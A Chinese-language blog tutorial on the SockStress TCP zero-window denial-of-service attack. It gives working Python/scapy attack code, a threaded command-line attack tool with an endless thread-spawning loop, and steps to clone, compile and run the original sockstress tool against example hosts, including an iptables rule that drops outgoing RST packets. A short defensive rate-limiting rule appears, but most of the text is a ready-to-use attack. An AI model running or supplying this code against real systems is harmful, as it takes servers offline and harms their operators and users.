Python TCP全連接攻擊中SockStress全連接攻擊詳解
攻擊者向目標(biāo)發(fā)送一個很小的流量,但是會造成產(chǎn)生的攻擊流量是一個巨大的,該攻擊消耗的是目標(biāo)系統(tǒng)的CPU/內(nèi)存資源,使用低配版的電腦,依然可以讓龐大的服務(wù)器拒絕服務(wù),也稱之為放大攻擊。
該攻擊與目標(biāo)建立大量的socket連接,并且都是完整連接,最后的ACK包,將Windows大小設(shè)置為0,客戶端不接收數(shù)據(jù),而服務(wù)器會認為客戶端緩沖區(qū)沒有準(zhǔn)備好,從而一直等待下去(持續(xù)等待將使目標(biāo)機器內(nèi)存一直被占用),由于是異步攻擊,所以單機也可以拒絕高配的服務(wù)器。
#coding=utf-8 import socket, sys, random from scapy.all import * scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller' def sockstress(target,dstport): xport = random.randint(0,65535) response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0) send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0) sockstress("192.168.1.20",80)
除了自己編寫代碼實現(xiàn)以外還可以下載一個項目 https://github.com/defuse/sockstress 該項目是發(fā)現(xiàn)這個漏洞的作者編寫的利用工具,具體使用如下。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻擊主機IP -j DROP
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http
直到今天sockstress攻擊仍然效果明顯,由于攻擊過程建立了完整的TCP三次握手,所以使用syn cookie防御無效,我們可以通過防火墻限制單位時間內(nèi)每個IP建立的TCP連接數(shù)來阻止這種攻擊的蔓延。
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
但是該方法依然我發(fā)防御DDOS拒絕服務(wù)的攻擊,這種攻擊只能拼機器拼資源了。攻擊目標(biāo)主機的Window窗口,實現(xiàn)目標(biāo)主機內(nèi)存CPU等消耗殆盡。
最后將前面兩種攻擊手段封裝成一個,該代碼只能在Linux系統(tǒng)下使用。
#coding=utf-8 # iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP from optparse import OptionParser import socket,sys,random,threading from scapy.all import * scapy.config.conf.iface = 'ens32' # 攻擊目標(biāo)主機的Window窗口,實現(xiàn)目標(biāo)主機內(nèi)存CPU等消耗殆盡 def sockstress(target,dstport): semaphore.acquire() # 加鎖 isport = random.randint(0,65535) response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0) send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0) print("[+] sendp --> {} {}".format(target,isport)) semaphore.release() # 釋放鎖 def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com\n") if __name__ == "__main__": Banner() parser = OptionParser() parser.add_option("-H","--host",dest="host",type="string",help="輸入被攻擊主機IP地址") parser.add_option("-p","--port",dest="port",type="int",help="輸入被攻擊主機端口") parser.add_option("--type",dest="types",type="string",help="指定攻擊的載荷 (synflood/sockstress)") parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻擊并發(fā)線程數(shù)") (options,args) = parser.parse_args() # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10 if options.types == "sockstress" and options.host and options.port and options.thread: semaphore = threading.Semaphore(options.thread) while True: t = threading.Thread(target=sockstress,args=(options.host,options.port)) t.start() else: parser.print_help()
使用方法如下:
main.py --type=sockstress -H 192.168.1.10 -p 80 -t 100
案例中所表達的含義是,對主機192.168.1.1
的80
口,啟用100
個線程進行攻擊。
到此這篇關(guān)于Python TCP全連接攻擊中SockStress全連接攻擊詳解的文章就介紹到這了,更多相關(guān)Python SockStress全連接攻擊內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實例
下面小編就為大家分享一篇python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實例,具有很好超參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-05-05Python中.join()和os.path.join()兩個函數(shù)的用法詳解
join()是連接字符串?dāng)?shù)組而os.path.join()是將多個路徑組合后返回。接下來通過本文重點給大家介紹Python中.join()和os.path.join()兩個函數(shù)的用法,感興趣的朋友一起看看吧2018-06-06解讀opencv中cv2.imread()返回值為None問題及解決
這篇文章主要介紹了解讀opencv中cv2.imread()返回值為None問題及解決,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-11-11PyTorch?Dataset與DataLoader使用超詳細講解
用于處理數(shù)據(jù)樣本的代碼可能會變得凌亂且難以維護;理想情況下,我們希望數(shù)據(jù)集代碼與模型訓(xùn)練代碼解耦,以獲得更好的可讀性和模塊化。PyTorch提供的torch.utils.data.DataLoader和torch.utils.data.Dataset允許你使用預(yù)下載的數(shù)據(jù)集或自己制作的數(shù)據(jù)2022-10-10Python 基于 pygame 實現(xiàn)輪播圖動畫效果
在Python中可以適應(yīng)第三方庫pygame來實現(xiàn)輪播圖動畫的效果,使用pygame前需確保其已經(jīng)安裝,本文通過實例代碼介紹Python 基于 pygame 實現(xiàn)輪播圖動畫效果,感興趣的朋友跟隨小編一起看看吧2024-03-03python 獲取毫秒數(shù),計算調(diào)用時長的方法
今天小編就為大家分享一篇python 獲取毫秒數(shù),計算調(diào)用時長的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-02-02